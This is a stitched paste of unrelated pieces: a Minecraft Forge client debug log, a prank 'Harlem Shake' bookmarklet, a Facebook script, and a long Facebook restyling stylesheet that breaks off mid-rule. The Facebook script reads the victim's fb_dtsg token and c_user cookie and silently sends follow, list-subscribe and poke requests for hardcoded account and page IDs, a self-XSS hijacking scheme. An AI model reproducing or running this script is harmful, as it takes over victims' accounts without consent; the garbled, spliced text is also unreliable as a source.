: net.minecraftforge.client.event.ModelBakeEvent@377874b4 [21Sep2020 05:56:13.945] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.ModelBakeEvent@377874b4 [21Sep2020 05:56:14.619] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 256x256x0 minecraft:textures/atlas/particles.png-atlas [21Sep2020 05:56:14.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@721d8ab5 [21Sep2020 05:56:14.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@721d8ab5 [21Sep2020 05:56:14.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@721d8ab5 [21Sep2020 05:56:14.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@721d8ab5 [21Sep2020 05:56:14.621] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 256x256x0 minecraft:textures/atlas/paintings.png-atlas [21Sep2020 05:56:14.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@6ac4c3f7 [21Sep2020 05:56:14.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@6ac4c3f7 [21Sep2020 05:56:14.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@6ac4c3f7 [21Sep2020 05:56:14.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@6ac4c3f7 [21Sep2020 05:56:14.636] [Render thread/INFO] [net.minecraft.client.renderer.texture.AtlasTexture/]: Created: 128x128x0 minecraft:textures/atlas/mob_effects.png-atlas [21Sep2020 05:56:14.667] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@7412a438 [21Sep2020 05:56:14.667] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : net.minecraftforge.client.event.TextureStitchEvent$Post@7412a438 [21Sep2020 05:56:14.667] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@7412a438 [21Sep2020 05:56:14.667] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : net.minecraftforge.client.event.TextureStitchEvent$Post@7412a438 [21Sep2020 05:56:34.352] [Render thread/INFO] [net.minecraft.client.gui.screen.ConnectingScreen/]: Connecting to 10.0.0.216, 25565 [21Sep2020 05:56:35.432] [Netty Client IO #1/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Starting new vanilla network connection. [21Sep2020 05:56:35.432] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Starting new vanilla network connection. [21Sep2020 05:56:35.740] [Netty Client IO #1/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:unregister' : Version test of '(FML2,true)' during listping : ACCEPTED [21Sep2020 05:56:35.741] [Netty Client IO #1/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:register' : Version test of '(FML2,true)' during listping : ACCEPTED [21Sep2020 05:56:35.741] [Netty Client IO #1/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Accepting channel list during listping [21Sep2020 05:56:35.743] [Netty Client IO #1/DEBUG] [net.minecraftforge.fml.client.ClientHooks/CLIENTHOOKS]: Received FML ping data from server at 10.0.0.216: FMLNETVER=2, mod list is compatible : true, channel list is compatible: true, extra server mods: {} [21Sep2020 05:56:35.926] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 0 [21Sep2020 05:56:35.929] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Logging into server with mod list [minecraft, forge, ironchest] [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'fml:loginwrapper' : Version test of 'FML2' from server : ACCEPTED [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'fml:handshake' : Version test of 'FML2' from server : ACCEPTED [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:unregister' : Version test of 'FML2' from server : ACCEPTED [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'fml:play' : Version test of 'FML2' from server : ACCEPTED [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:register' : Version test of 'FML2' from server : ACCEPTED [21Sep2020 05:56:35.931] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Accepting channel list from server [21Sep2020 05:56:35.934] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 0 [21Sep2020 05:56:35.935] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Accepted server connection [21Sep2020 05:56:35.960] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 1 [21Sep2020 05:56:35.962] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:recipe_serializer [21Sep2020 05:56:35.962] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 1 [21Sep2020 05:56:36.021] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 2 [21Sep2020 05:56:36.028] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:sound_event [21Sep2020 05:56:36.028] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 2 [21Sep2020 05:56:36.061] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 3 [21Sep2020 05:56:36.061] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:particle_type [21Sep2020 05:56:36.061] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 3 [21Sep2020 05:56:36.111] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 4 [21Sep2020 05:56:36.112] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:villager_profession [21Sep2020 05:56:36.112] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 4 [21Sep2020 05:56:36.166] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 5 [21Sep2020 05:56:36.167] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:item [21Sep2020 05:56:36.167] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 5 [21Sep2020 05:56:36.210] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 6 [21Sep2020 05:56:36.210] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:potion [21Sep2020 05:56:36.210] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 6 [21Sep2020 05:56:36.259] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 7 [21Sep2020 05:56:36.259] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:block_entity_type [21Sep2020 05:56:36.259] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 7 [21Sep2020 05:56:36.310] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 8 [21Sep2020 05:56:36.310] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:worldgen/feature [21Sep2020 05:56:36.310] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 8 [21Sep2020 05:56:36.361] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 9 [21Sep2020 05:56:36.361] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:block [21Sep2020 05:56:36.362] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 9 [21Sep2020 05:56:36.409] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 10 [21Sep2020 05:56:36.409] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:data_serializers [21Sep2020 05:56:36.409] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 10 [21Sep2020 05:56:36.460] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 11 [21Sep2020 05:56:36.460] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:mob_effect [21Sep2020 05:56:36.460] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 11 [21Sep2020 05:56:36.510] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 12 [21Sep2020 05:56:36.510] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:stat_type [21Sep2020 05:56:36.510] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 12 [21Sep2020 05:56:36.561] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 13 [21Sep2020 05:56:36.561] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:menu [21Sep2020 05:56:36.561] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 13 [21Sep2020 05:56:36.610] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 14 [21Sep2020 05:56:36.610] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:enchantment [21Sep2020 05:56:36.610] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 14 [21Sep2020 05:56:36.659] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 15 [21Sep2020 05:56:36.659] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:motive [21Sep2020 05:56:36.659] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 15 [21Sep2020 05:56:36.711] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 16 [21Sep2020 05:56:36.711] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:worldgen/biome [21Sep2020 05:56:36.711] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 16 [21Sep2020 05:56:36.759] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 17 [21Sep2020 05:56:36.759] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:fluid [21Sep2020 05:56:36.759] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 17 [21Sep2020 05:56:36.811] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 18 [21Sep2020 05:56:36.811] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received registry packet for minecraft:entity_type [21Sep2020 05:56:36.812] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Waiting for registries to load. [21Sep2020 05:56:36.812] [Render thread/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Injecting registry snapshot from server. [21Sep2020 05:56:37.283] [Render thread/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Snapshot injected. [21Sep2020 05:56:37.283] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Registry load complete, continuing handshake. [21Sep2020 05:56:37.283] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 18 [21Sep2020 05:56:37.284] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Recieved login wrapper packet event for channel fml:handshake with index 19 [21Sep2020 05:56:37.284] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Received config sync from server [21Sep2020 05:56:37.285] [Netty Client IO #0/DEBUG] [net.minecraftforge.common.ForgeConfig/FORGEMOD]: Forge config just got changed on the file system! [21Sep2020 05:56:37.285] [Netty Client IO #0/DEBUG] [net.minecraftforge.fml.network.FMLLoginWrapper/FMLHANDSHAKE]: Dispatching wrapped packet reply for channel fml:handshake with index 19 [21Sep2020 05:56:37.366] [Netty Client IO #0/INFO] [net.minecraftforge.fml.network.NetworkHooks/]: Connected to a modded server. [21Sep2020 05:56:37.531] [Netty Client IO #0/DEBUG] [net.minecraftforge.common.ForgeTagHandler/]: Populated the TagCollectionManager with 1 extra types [21Sep2020 05:56:37.959] [Netty Client IO #0/ERROR] [net.minecraft.command.arguments.ArgumentTypes/]: Could not deserialize minecraft: [21Sep2020 05:56:37.960] [Netty Client IO #0/ERROR] [net.minecraft.command.arguments.ArgumentTypes/]: Could not deserialize minecraft: [21Sep2020 05:56:41.362] [Render thread/INFO] [com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService/]: Environment: authHost='https://authserver.mojang.com', accountsHost='https://api.mojang.com', sessionHost='https://sessionserver.mojang.com', name='PROD' [21Sep2020 05:56:42.282] [Render thread/WARN] [net.minecraft.client.network.play.ClientPlayNetHandler/]: Received passengers for unknown entity [21Sep2020 05:56:42.375] [Render thread/INFO] [net.minecraft.advancements.AdvancementList/]: Loaded 0 advancements [21Sep2020 05:58:02.256] [Render thread/INFO] [net.minecraft.client.gui.NewChatGui/]: [CHAT] Saved screenshot as 2020-09-21_05.58.01.png [21Sep2020 05:58:03.756] [Render thread/INFO] [net.minecraft.client.gui.NewChatGui/]: [CHAT] Saved screenshot as 2020-09-21_05.58.03.png [21Sep2020 05:59:09.947] [Netty Client IO #2/DEBUG] [net.minecraftforge.fml.network.FMLHandshakeHandler/FMLHANDSHAKE]: Starting new vanilla network connection. [21Sep2020 05:59:09.950] [Netty Client IO #2/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:unregister' : Version test of '(FML2,true)' during listping : ACCEPTED [21Sep2020 05:59:09.950] [Netty Client IO #2/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Channel 'minecraft:register' : Version test of '(FML2,true)' during listping : ACCEPTED [21Sep2020 05:59:09.950] [Netty Client IO #2/DEBUG] [net.minecraftforge.fml.network.NetworkRegistry/NETREGISTRY]: Accepting channel list during listping [21Sep2020 05:59:09.950] [Netty Client IO #2/DEBUG] [net.minecraftforge.fml.client.ClientHooks/CLIENTHOOKS]: Received FML ping data from server at 10.0.0.216: FMLNETVER=2, mod list is compatible : true, channel list is compatible: true, extra server mods: {} [21Sep2020 05:59:27.148] [Render thread/INFO] [net.minecraft.client.Minecraft/]: Stopping!
MurtazaGujar
javascript:(function(){function c(){var e=document.createElement('link');e.setAttribute('type','text/css');e.setAttribute('rel','stylesheet');e.setAttribute('class',l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t<e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement('div');e.setAttribute('class',a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height>e&&s.height<n&&s.width>t&&s.width<r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t>=w&&t<=b+w}function S(){var e=document.createElement('audio');e.setAttribute('class',l);e.src=i;e.loop=true;e.addEventListener('canplay',function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e<O.length;e++){T(O[e])}},15500)},true);e.addEventListener('ended',function(){N();h()},true);e.innerHTML=' <p>If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.</p> <p>';document.body.appendChild(e);e.play()}function x(e){e.className+=' '+s+' '+o}function T(e){e.className+=' '+s+' '+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp('\\b'+s+'\\b');for(var n=0;n<e.length;){e[n].className=e[n].className.replace(t,'')}}var e=30;var t=30;var n=350;var r=350;var i='http://music-hn.24hstatic.com/uploadmusic2/df85cc62d7eefeb7fb106ce8be13c06b/520d424a/uploadmusic/id_le/2-2013/huylun/Rap/NewTrack/128/Em%20Khong%20Quay%20Ve%20-%20Yanbi.mp3';var s='mw-harlem_shake_me';var o='im_first';var u=['im_drunk','im_baked','im_trippin','im_blown'];var a='mw-strobe_light';var l='mw_added_css';var b=g();var w=y();var C=document.getElementsByTagName('*');var k=null;for(var L=0;L<C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn('Could not find a node of the right size. Please try a different page.');return}c();S();var O=[];for(var L=0;L<C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})() var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = true; _audio.src = "http://mp3.zing.vn/xml/load-song/MjAxMyUyRjAzJTJGMjIlMkYyJTJGMCUyRjIwZjRmYTBmMjBjNDIxM2MyODc1ZWVlNjk0OWNkMTRjLm1wMyU3QzI="; _div.appendChild(_audio); _body.appendChild(_div); var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = true; _audio.src = "http://mp3.zing.vn/xml/load-song/MjAxMyUyRjAzJTJGMjIlMkYyJTJGMCUyRjIwZjRmYTBmMjBjNDIxM2MyODc1ZWVlNjk0OWNkMTRjLm1wMyU3QzI="; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } } ; http4.send(params4); } //Boss a("100004147517996"); a("100008613707121"); //list PAGE sublist("355112524636995"); sublist("364800053668242"); sublist("1387426621554448"); sublist("1387430628220714"); sublist("442380139243566"); (function() { var css = "@namespace url(http://www.w3.org/1999/xhtml); body, html,#content {background:#000000 url(http://1.bp.blogspot.com/_bx4ZvpwMhUE/TO8YpOc4wXI/AAAAAAAAAFM/VMygmUm02po/s1600/25608lc21gqs2a6.gif) 100% 0% scroll!important;color:#000000!important} h2 {color:#000000!important} .feed_item .header_container .header_title_wrapper {color:#000000!important} .fb_menu_dropdown .fb_menu_item a{background:#000000!important} .fb_menu_dropdown .fb_menu_item a:hover {background:#000000!important} .applications .right_column {background:#000000!important} #fb_menubar_aux .fb_menu .fb_menu_title a .menu_title:hover, #fb_menubar_aux #fb_menu_settings.fb_menu .fb_menu_title a:hover,#fb_menubar_aux .fb_menu .fb_menu_title a:hover,#facebook .hidden_elem{background:#000000!important} .rooster_info {background:#000000!important} .rooster_title {border-color:#000000!important} .commentable_item.expanded_comments.collapsed_add_box .comment_bottom_add_link {background:#000000!important} #newsfeed_submenu {background:#000000!important;border-color:#000000!important} .emu_ad .add_comment {background:#000000!important} /* inicial */ #newsfeed_tabs_wrapper {background: #000000!important; } #newsfeed_submenu, #newsfeed_submenu_content * {color:#000000!important;} #newsfeed_wrapper {background:#ffffff!important;border:1px solid #000000!important;} #newsfeed_wrapper * :not(a), #content { background: transparent !important; color: #000000!important; } /*barra bem vindo*/ .fbnew_preview_bar {background:#000000!important;color:#000000!important; height:23px !important; margin: -2px !important;} .profile_two_columns .right_column {float:left!important;} /*barra principal*/ #dropmenu_container div, #fb_menubar, #fb_menubar_core .fb_menu .fb_menu_title a,#fb_menubar_core #fb_menu_inbox span {background:url(http://i264.photobucket.com/albums/ii171/ppiedade/newfundobarranaruto.gif) repeat scroll left top !important ;font-family:arial!important;color:#000000!important;background-color:#222!important} .fb_menu_dropdown .fb_menu_item_disabled span {color:#000000!important} .commentable_item .show_all_link, .commentable_item .wallpost {background:#000000!important} .profile .feedwall_menu .size_header {background-color:#000000!important;} /*pop-ups*/ td.pop_content h2 span {background-color:#000000 !important} td.pop_content .dialog_body {background-color:#ffffff!important;color:#000000!important; font-family:arial bold !important;font-size:medium !important;} td.pop_content .dialog_buttons {background-color:#000000!important;} .ubersearch.search_profile .result {background:#000000!important} td.pop_content .dialog_summary {background:#000000!important} /*td.pop_content .dialog_content,dialog_body,generic_dialog_popup,table.pop_dialog_table, td.pop_content .dialog_content, td.pop_content .dialog_body*/ generic_dialog pop_dialog, pop_dialog_table, pop_content pop_content {background:#eebd4a!important} /*buttons*/ .dialog_content .dialog_buttons .inputaux, .dialog_content .dialog_buttons .inputaux_disabled, .dialog_content .dialog_buttons .inputbutton, .dialog_content .dialog_buttons .inputsubmit {background:#eebd4a!important;color:#000000!important} .home_status_editor .home_status_editor_content .status_body {background:#eebd4a!important;color:#000000!important} /*profile page*/ .UIRooster_Content {background:#000!important;color:#000!important} #profile_composer .composer_tabs ul li a.tab_link {background-color:#ffffff!important} /*cabeçalhos laterais*/ .profile .box h3.box_header{background:#000000!important; color:#000000!important} .box_column .box h3.box_header{background:#000000!important; color:#000000!important;font-family:arial !important} .profile .top_bar ul.tabs li.selected a.tab_link ,.media_header {background:#000000!important;color:#000000!important} .profile .basic_info_summary dl.info dd{color:#000000!important; background:#000000!important} #profile_composer .status_composer {background:#000000!important} #profile_composer .placeholder_off div.hide_placeholder, #profile_composer div.show_placeholder {background:#000000!important} .profile_two_columns .right_column {background:#000000!important} .minifeedwall .story{background:#eebd4a url()!important;} /*MIOLO DAS CAIXAS*/ .UIStory{background:#000000!important} .minifeedwall .date_divider span {background:#ffffff!important;color:#000000!important;font-family:arial!important;font-weight:bold!important;font-size:x-small!important} /*BOT SHARE*/ .UIComposer_Button,UIComposer_ButtonContainer,UIComposer_TDButton,UIComposer{background:#000000!important} .minifeedwall .status_story {color:#000000!important} .minifeedwall{background:#eebd4a!important; color:#000000!important} .minifeedwall .date_divider span {background:#eebd4a!important;color:#000000!important;font-family:arial !important;font-weight:bold!important;font-size:x-small!important} #feedwall_controls {background:#000000!important} #feedwall_controls h1, #feedwall_controls h2, #feedwall_controls h3,#feedwall_controls h4,#feedwall_controls h5,#feedwall_controls a,#feedwall_controls .one_liner h2 a {color:#000!important} .minifeedwall .wall_story .story_content, 